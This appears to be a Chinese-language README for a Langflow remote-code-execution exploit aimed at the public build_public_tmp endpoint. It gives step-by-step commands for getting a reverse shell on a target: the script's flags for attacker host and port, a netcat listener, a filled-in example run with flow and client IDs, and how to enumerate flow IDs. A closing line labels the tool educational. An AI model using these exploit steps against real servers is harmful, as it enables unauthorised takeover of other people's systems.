通过 build_public_tmp 端点在 Langflow 上实现远程代码执行。
通过公共流程构建端点利用漏洞,在目标上执行反向 Shell。
httpx 库安装:
pip install httpx
python exploit.py -u <BASE_URL> -l <LHOST> -p <LPORT> --flow-id <FLOW_ID> --client-id <CLIENT_ID>
-u, --url : Langflow 实例的基础 URL(例如 https://flow.example.com/)-l, --lhost : 你的 IP 地址,用于接收反向 Shell-p, --lport : 反向 Shell 的监听端口-f --flow-id : 目标流程 ID(必填 – 通过 /api/v1/flows/ 或 UI 获取)-c --client-id : client_id cookie 值,用于会话标识启动监听器:
nc -nlvp 9001
运行漏洞利用:
python exploit.py -u https://flow.target.local/ -l 127.0.0.1 -p 9001 --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --client-id 8a6bf601-0263-480b-aa81-9a6389ca9e5d
如果成功,你将获得一个交互式 bash shell。
flow-id。通过 GET /api/v1/flows 列出所有流程,或从浏览器 URL 复制。MIT – 用于教育和道德安全研究。